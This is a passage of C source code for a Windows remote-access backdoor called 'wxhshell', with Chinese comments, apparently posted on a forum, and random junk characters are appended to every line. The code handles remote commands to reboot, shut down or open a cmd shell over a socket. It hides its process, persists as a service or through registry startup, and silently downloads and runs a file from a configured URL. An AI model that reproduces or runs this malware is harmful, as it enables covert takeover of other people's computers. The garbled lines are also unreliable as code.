    break; L[a A4`  
  } E~K5n2CI  
  // 安装 f C_H0h3  
  case 'i': { H5X.CcI&}  
    if(Install()) kBr?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bb}$7v`G  
    else gH<A.5 xy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W%_Cda5,  
    break; Q35jJQ$<`  
    } B +<i=w  
  // 卸载 gWLhO|y  
  case 'r': { Dxp.b$0t  
    if(Uninstall()) *h)|K s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.j6" Q[W  
    else ywkyxt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %XiF7<A &  
    break; Zv^n  
    } =Yt)b/0b9  
  // 显示 wxhshell 所在路径 xI( t!aYp  
  case 'p': { >yr1wVS  
    char svExeFile[MAX_PATH]; < s1  
    strcpy(svExeFile,"\n\r"); k+;XQEH  
      strcat(svExeFile,ExeFile); P&.-c _  
        send(wsh,svExeFile,strlen(svExeFile),0); U{?#W  
    break; ibL    
    } JthW"{E  
  // 重启 Q)L6+gW^  
  case 'b': { /pYp, ak  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %z "${ zw  
    if(Boot(REBOOT)) SsfHp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +5xk6RP   
    else { I6lWB(H!u  
    closesocket(wsh); n1r'Y;G  
    ExitThread(0); R!y`p:O C  
    } I|/\L|vo  
    break; j&w4yY  
    } o|bm=&f  
  // 关机 FQqk+P!  
  case 'd': { V PaW-o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rPXy(d1<`S  
    if(Boot(SHUTDOWN)) ;JV(!8[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3\E G  
    else { '8V>:dy>  
    closesocket(wsh); F*J@OY8i  
    ExitThread(0); ,]H2F']4Z  
    } :V ZXI#([  
    break; Z,JoxK2"  
    } E9~}%&  
  // 获取shell PCs`aVZ  
  case 's': { l,@rB+u  
    CmdShell(wsh); #Zj3SfU~`  
    closesocket(wsh); V8}jFib  
    ExitThread(0); {2=f,,|+f  
    break; \?~cJMN  
  } X3Yi|dyn T  
  // 退出 ~d"9?K^#  
  case 'x': { 7x//4G   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $ )orXe|  
    CloseIt(wsh); )Nnrsa  
    break; xjH({(/B>a  
    } H-/w8_} KG  
  // 离开 [I2vg<my  
  case 'q': { YLehY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T))F r:  
    closesocket(wsh); 2P2/]-6s#r  
    WSACleanup(); "fOxS\er  
    exit(1); 1^AG/w  
    break; B*&HQW *u  
        } ihBIE  
  } Cd'`rs}3  
  } ,}a'h4C  
&b9bb{y_$K  
  // 提示信息 x't@Mc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?AYb@&%  
} B'8T+qvA  
  } 91\]Dg  
Bhg,P.7  
  return; kX "*kD  
} ?G<.W[3  
49-wFF  
// shell模块句柄 N-YCOSUu  
int CmdShell(SOCKET sock) ='Fh^]*5  
{ "a=dx| Z  
STARTUPINFO si; 6S&OE k  
ZeroMemory(&si,sizeof(si)); DW >|'w%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =cWg 39$(I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E@CK.-N|  
PROCESS_INFORMATION ProcessInfo; EPd   
char cmdline[]="cmd"; 0;Z] vl/|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `L7Cf&W\l8  
  return 0; |{9&!=/qf  
} }II)<g'  
9^1li2zk{  
// 自身启动模式 bTc^ huP  
int StartFromService(void) MwTouEGGgA  
{ P]<15l  
typedef struct DT[WO_=  
{ o|Kd\<rY  
  DWORD ExitStatus; bA02)?L  
  DWORD PebBaseAddress; \%Lj !\  
  DWORD AffinityMask; @YHt[>*S  
  DWORD BasePriority; DsCbMs=Y  
  ULONG UniqueProcessId; tJ9gwx7Pg  
  ULONG InheritedFromUniqueProcessId; ZYs?65.  
}   PROCESS_BASIC_INFORMATION; .Zm de*b  
*^i"q\n5(  
PROCNTQSIP NtQueryInformationProcess; u]MQ(@HHF  
fir#5,*q|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W-<`Vo'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8 Az|SJ<  
{Y1&GO;  
  HANDLE             hProcess; I]6,hygs  
  PROCESS_BASIC_INFORMATION pbi; $ 9 k5a  
@Zw[LIQ*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mu$rG3M  
  if(NULL == hInst ) return 0; fR#W#n#m  
6wH:jd9,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U$ Od)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o(eh.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v{pW/Fu~  
EnP>  
  if (!NtQueryInformationProcess) return 0; q]#j,}cN9  
LX{mr{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uxbLoE  
  if(!hProcess) return 0; K:b^@>XH  
#+(@i|!ifo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N ,nvAM  
6[\1Nzy>  
  CloseHandle(hProcess); \JDxN  
$%.,=~W7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j026CVL  
if(hProcess==NULL) return 0; [ @9a  
@B Muov  
HMODULE hMod; =F/EzS  
char procName[255]; / 5y _ <  
unsigned long cbNeeded; V>& 1;n  
Yd]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a^7QHYJ6  
b]g#mQ  
  CloseHandle(hProcess); ccwz:7r  
g4&f2D5  
if(strstr(procName,"services")) return 1; // 以服务启动 FXh*!%"*  
SS!b`  
  return 0; // 注册表启动 <[' ucp  
} d"OYq  
3hfv^H  
// 主模块 5,9cD`WR^  
int StartWxhshell(LPSTR lpCmdLine) o]@'R<F(u  
{ =}'7}0M_=  
  SOCKET wsl; K&BaGrR  
BOOL val=TRUE; R{UZCFZ  
  int port=0; Zx^R-9  
  struct sockaddr_in door; gdkHaLL"  
A@jBn6  
  if(wscfg.ws_autoins) Install(); #@m6ag.  
J+l#!gk$!  
port=atoi(lpCmdLine); &Xh=bM'/%m  
uTNy{RBD+  
if(port<=0) port=wscfg.ws_port; uoTc c|Kc  
A9y@v{txN  
  WSADATA data; ]sJjV A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uj^Y\w-@Z  
j+[oZfH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |}Mthj9n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^+x,211f  
  door.sin_family = AF_INET; ]-jaIvM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5? *Iaw  
  door.sin_port = htons(port); 4@=[r Zb9  
t(1gJZs>kX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T'a&  
closesocket(wsl); `a5,5}7v%`  
return 1; 74a k|(!  
} ,{d=<j_  
h<i.Z7F;tj  
  if(listen(wsl,2) == INVALID_SOCKET) { 0%qM`KZC  
closesocket(wsl); |-xKH.'n  
return 1; uTrQ<|}#  
} H[N~)3x  
  Wxhshell(wsl); !, {-q)'D  
  WSACleanup(); @B9#Hrc  
w:2yFC  
return 0; ]W7&ZpF  
U["IXR#  
} 3 <Zo{;  
-Fc 9mv(H  
// 以NT服务方式启动 kfq<M7y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o3HS|  
{ %>t4ib_8  
DWORD   status = 0; *_"lXcG.  
  DWORD   specificError = 0xfffffff; orhze Oi\  
g_?bWm4br  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,irc=0M(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4"eeEs h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hA+;eXy/  
  serviceStatus.dwWin32ExitCode     = 0; M1I4Ot  
  serviceStatus.dwServiceSpecificExitCode = 0; tDtqTB}  
  serviceStatus.dwCheckPoint       = 0; Qm4cuV-0{  
  serviceStatus.dwWaitHint       = 0; 5Zl7crA[  
}DQ[C&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9`!#5i)VU8  
  if (hServiceStatusHandle==0) return; /Q'O]h0a  
le2 v"Y  
status = GetLastError(); -l{ wB"  
  if (status!=NO_ERROR) TSj)XU {W  
{ \b?O+;5Cj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XlJ+:st  
    serviceStatus.dwCheckPoint       = 0; 5D>cbzP@  
    serviceStatus.dwWaitHint       = 0; XQcE  ZJ2  
    serviceStatus.dwWin32ExitCode     = status; 'Me(qpsq  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,&jjp eZP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BG+X8t8\  
    return; =6B I[_0  
  } hroRDD   
F8B:P7I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8},fu3Z  
  serviceStatus.dwCheckPoint       = 0; JB HnJm  
  serviceStatus.dwWaitHint       = 0; r6 L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !%QbE[Kl>  
} Tx/KL%X  
!={QL:  
// 处理NT服务事件,比如:启动、停止 ]% UAN_T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n yNHjn |W  
{ jyC>~}?  
switch(fdwControl) hcQv!!Q"k$  
{ {=_xze)  
case SERVICE_CONTROL_STOP: #e6x_o|  
  serviceStatus.dwWin32ExitCode = 0; nG"Ae8r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }:+P{  
  serviceStatus.dwCheckPoint   = 0; a!:R_P}7  
  serviceStatus.dwWaitHint     = 0; LsNJ3oy  
  { /7C %m:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cQ/T:E7$`  
  } s=n_(}{ q  
  return; fwaM;YN_  
case SERVICE_CONTROL_PAUSE: ,tuZ_"?M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -ha[xM05  
  break; ;^P0+d^5C  
case SERVICE_CONTROL_CONTINUE: %xt\|Lt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #K/#-S  
  break; rE\.[mFI  
case SERVICE_CONTROL_INTERROGATE: O9F#gO|!  
  break; JDBNi+t  
}; "`5BAv;u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]j< & :_  
} m ,TYF  
ooT~R2u  
// 标准应用程序主函数 5v#_2Ih  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {4b8s%:!4  
{ <nn!9V\C   
RQ[6svfP  
// 获取操作系统版本 e6^iakSd.L  
OsIsNt=GetOsVer(); mC84fss  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kk3G~o +  
S;S_<GX  
  // 从命令行安装 BU;E6s>P  
  if(strpbrk(lpCmdLine,"iI")) Install(); [E/8E h<  
z#sSLE.$Z  
  // 下载执行文件 P4~C0z  
if(wscfg.ws_downexe) { N9cUlrDO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mKBPIQ+ZS  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1PT0<C-  
} kam \dn04  
!,PoH  
if(!OsIsNt) { >HQ<KFA  
// 如果时win9x,隐藏进程并且设置为注册表启动 y?{YQ)fj  
HideProc(); PWs=0.Wj  
StartWxhshell(lpCmdLine); R~(_m#6`:  
} uJ/ &!q<3  
else 5K?%Eo72!=  
  if(StartFromService()) +)TOcxF%  
  // 以服务方式启动 yy|F6Pq3`  
  StartServiceCtrlDispatcher(DispatchTable); AN-;*n<'  
else @KC;"u'C  
  // 普通方式启动 #[Vk#BIiv8  
  StartWxhshell(lpCmdLine); pJ]i)$M  
3UQ~U 8  
return 0; (Y]G6> Oa  
}
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只看该作者 1 发表于: 2006-10-10
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